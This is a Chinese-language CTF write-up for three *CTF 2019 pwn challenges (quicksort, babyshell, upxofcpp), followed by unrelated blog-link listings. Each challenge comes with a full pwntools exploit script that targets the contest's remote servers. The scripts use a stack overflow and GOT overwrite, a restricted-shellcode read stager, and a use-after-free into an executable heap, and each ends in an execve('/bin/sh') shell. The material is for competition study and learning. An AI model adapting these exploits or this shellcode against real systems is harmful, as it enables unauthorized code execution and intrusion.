这次参加比赛总共出了三道,有两道队友都先交了,还是tcl,heap_master卡了差不多一天没解决。。。。还是记录一下出的题目吧

quicksort

题目大体流程就是输入要输入的数字数量,然后输入数字,经过一个快速排序输出,然后结束。

漏洞:

gets函数这里存在栈溢出,可以覆盖i,j,ptr,num。

利用思路:

libc泄露:可以修改ptr指向gets_got,并将i和num设置为1,1。这样可以修改free_got的值同时下面会输出gets的地址来泄露libc

步骤:

1.修改free_got为0x8048816同时泄露libc地址

2.修改free_got为system函数并在bss上面构造/bin/sh,把ptr设置为/bin/sh的地址

3.调用free时getshell

exp:

from pwn import *
#p = process('./quicksort',env={'LD_PRELOAD':'./libc.so.6'})
p = remote('34.92.96.238',10000)
#gdb.attach(p)
context.log_level='debug'
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('./libc.so.6')
free_got = 0x804a018
main_addr = 0x8048816
bss_addr = 0x804a03c
p.recvuntil('sort?')
p.sendline('')
p.recvuntil('number:')
payload=str(main_addr)+'a'*0x7+p32(1)+p32(1)+p32(0)+p32(free_got-0x4)
p.sendline(payload)
p.recvuntil('result:')
p.recvline()
gets_addr = int(p.recvline().replace('\n',''))+2**32
print "gets_addr:",hex(gets_addr)
libc.address = gets_addr-libc.symbols['gets']
system_addr = libc.symbols['system']
one_gadget = libc.address+0x3ac62
bin_sh_addr = libc.search('/bin/sh\x00').next()
p.recvuntil('sort?')
p.sendline('')
p.recvuntil('number:')
payload=str(system_addr-2**32).ljust(16,'a')+p32(3)+p32(1)+p32(0)+p32(free_got-0x4)
p.sendline(payload)
p.recvuntil('number:')
payload=str(6845231).ljust(16,'a')+p32(2)+p32(0)+p32(0)+p32(bss_addr+0x4)
p.sendline(payload)
p.recvuntil('number:')
payload=str(1852400175).ljust(16,'a')+p32(1)+p32(0)+p32(0)+p32(bss_addr)
p.sendline(payload)
p.recvuntil('result:')
p.interactive()

babyshell

这题由于偷懒第二天起太晚了。做完已经被提交了

输入shellcode然后会执行,要求是shellcode只能是一个数组里的值。

这题syscall可以调用,rsi本身就是buf地址,所以只需要把rdi改成0,rdx改成length,就可以调用read写buf了,刚好可写的里面有pop rdi,pop rdx

exp:

from pwn import *
import time
#p = process('./shellcode')
#gdb.attach(p)
p = remote('34.92.37.22',10002)
p.recvuntil('plz:')
payload = '''
push 0x0
pop rdi
push 0x73
pop rdx
syscall
'''
p.send(asm(payload,arch='amd64'))
payload2 = '''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
mov rsi,0
mov rdx,0
mov rax,0x3b
syscall
'''
time.sleep(10)
p.send(('\x90'*8+asm(payload2,arch='amd64')))
p.interactive()
#raw_input()

upxofcpp

一个upx加壳后的程序,脱壳后分析:

free存在uaf漏洞,而且free和show函数都存在一个特定地址函数调用

这题一直没想出来,直到队里大佬说加壳的程序中堆是rwx的。

所以这题就很简单了,步骤为:

1.构造堆块让使用show函数的时候调用一个堆地址

2.在该堆地址上面构造shellcode

3.运行shellcode拿到shell

exp:

from pwn import *
#p = process('./upxofcpp')
p = remote('34.92.121.149',10000) context.log_level='debug'
def add(index,size,content):
p.recvuntil('choice:')
p.sendline('')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('stop:')
p.sendline(content)
def delete(index):
p.recvuntil('choice:')
p.sendline('')
p.recvuntil('index:')
p.sendline(str(index))
def show(index):
p.recvuntil('choice:')
p.sendline('')
p.recvuntil('index:')
p.sendline(str(index))
payload = '''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
mov rsi,0
mov rdx,0
mov rax,0x3b
syscall
'''
print len(asm(payload,arch='amd64'))
payload = asm(payload,arch='amd64')
#print len(payload)
result =''
i = 0
while i<35:
result+=str(struct.unpack('<i',payload[i:i+4])[0])+' '
i+=4
result+='-1'
print result
add(0,0x22,'-1')
add(1,0x12,'1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2095775979 -1')
add(2,0x8,'-1')
#add(1,0x8,'1 2 1156288656 -1')
add(3,0x50,result)
#add(4,0x22,'-1')
#add(3,0x22,'-1')
delete(2)
delete(1)
delete(0)
#gdb.attach(p)
#delete(3)
show(0)
p.interactive()

*CTF 2019 quicksort、babyshell、upxofcpp的更多相关文章

  1. 2019年Python、Golang、Java、C++如何选择?

    前言 作为开发者我们都知道,开发后台语言可选择的方向会很多,比如,Java,go,Python,C/C++,PHP,NodeJs….等很多,这么多语言都有什么样的优势?如果让你学习一门后端语言,又该如 ...

  2. EOJ Monthly 2019.2 题解(B、D、F)

    EOJ Monthly 2019.2 题解(B.D.F) 官方题解:https://acm.ecnu.edu.cn/blog/entry/320/ B. 解题 单测试点时限: 2.0 秒 内存限制:  ...

  3. 2019年猪年颁奖典礼、公司年会、跨年晚会、科技会议、年终答谢会之幕布背景展板PSD模板-第三部分

    16套--2019年猪年颁奖典礼.公司年会.跨年晚会.科技会议.年终答谢会之幕布.背景和展板PSD模板,免费颁奖典礼PSD展板背景幕布,下载地址:百度网盘,https://pan.baidu.com/ ...

  4. “全栈2019”Java第十四章:二进制、八进制、十六进制

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...

  5. “全栈2019”Java第三十九章:构造函数、构造方法、构造器

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...

  6. “全栈2019”Java第二十章:按位与、按位或、异或、反码、位运算

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...

  7. 2019 ICCV、CVPR、ICLR之视频预测读书笔记

    2019 ICCV.CVPR.ICLR之视频预测读书笔记 作者 | 文永亮 学校 | 哈尔滨工业大学(深圳) 研究方向 | 视频预测.时空序列预测 ICCV 2019 CVP github地址:htt ...

  8. 数值分析案例:Newton插值预测2019城市(Asian)温度、Crout求解城市等温性的因素系数

    数值分析案例:Newton插值预测2019城市(Asian)温度.Crout求解城市等温性的因素系数 文章目录 数值分析案例:Newton插值预测2019城市(Asian)温度.Crout求解城市等温 ...

  9. 2019年第十届蓝桥杯【C++省赛B组】D、E、G、H、I题解

    这场有几道题目思路,在之前比赛中遇到过 D. 数的分解 #枚举 题意 将\(2019\)分解成\(3\)个各不相同的正整数之和,并且每个正整数都不包含数字\(2\)和\(4\),一共有多少种分解方法? ...

随机推荐

  1. Java第二次实训

    package fsafsa; import java.util.Scanner; public class fafas { public static void main(String[] args ...

  2. 浅析HTTP代理原理--转

    代理服务器是HTTP协议中一个重要的组件,发挥着重要的作用. 关于HTTP代理的文章有很多,本文不再赘述,如果不清楚的可以看一下 HTTP代理的基础知识. 本文主要介绍代理的事例,分析一个真实的案例来 ...

  3. JVM垃圾回收机制概述

    JVM垃圾回收机制概述 1.定义 是指JVM用于释放那些不再使用的对象所占用的内存. 2.方式 2.1引用计数(早期) 当引用程序创建引用以及引用超出范围时,JVM必须适当增减引用数.当某个对象的引用 ...

  4. 微信退款时候报”请求被中止: 未能创建 SSL/TLS 安全通道“或”The request was aborted: Could not create SSL/TLS secure channel“的错误

    如题,英文中文表述的是一个意思 退款测试在我本机测试一切都是正常的,但是发布到了服务器就报这样的一个错啦 但是无论百度或者google或者bing,你能够搜索到的结果都很类似,综合起来就是加这样一些代 ...

  5. mysql的order by注入

    最近在做一些漏洞盒子后台项目的总结,在盒子众多众测项目中,注入类的漏洞占比一直较大.其中Order By注入型的漏洞也占挺大一部分比例,这类漏洞也是白帽子乐意提交的类型(奖金高.被过滤概览小).今天给 ...

  6. GBDT原理及利用GBDT构造新的特征-Python实现

    1. 背景 1.1 Gradient Boosting Gradient Boosting是一种Boosting的方法,它主要的思想是,每一次建立模型是在之前建立模型损失函数的梯度下降方向.损失函数是 ...

  7. MYSQL的学习

    启动MYSQL :net start mysql或者手动启动,输入密码:mysql -u root -p 先创建数据库在创建表格,创建数据库:create databsse 数据库名称,创建表格:cr ...

  8. BZOJ4314 倍数?倍数!

    好神仙啊.... 题意 在$ [0,n) $中选$ k$个不同的数使和为$ n$的倍数 求方案数 $ n \leq 10^9, \ k \leq 10^3$ 题解 k可以放大到1e6的 先不考虑$ k ...

  9. jquery获取value值时将数字型字符串前面的0自动截取处理方法

    <li class="cwhite" value="02" id="02" onclick="getQuestionList ...

  10. [Kubernetes] CRI 的设计与工作原理

    咱们来看看,有了 CRI 之后, Kubernetes 的架构图: 我们可以看到, CRI 机制能够发挥作用的核心,在于每一个容器项目现在都可以自己实现一个 CRI shim ,自行对 CRI 请求进 ...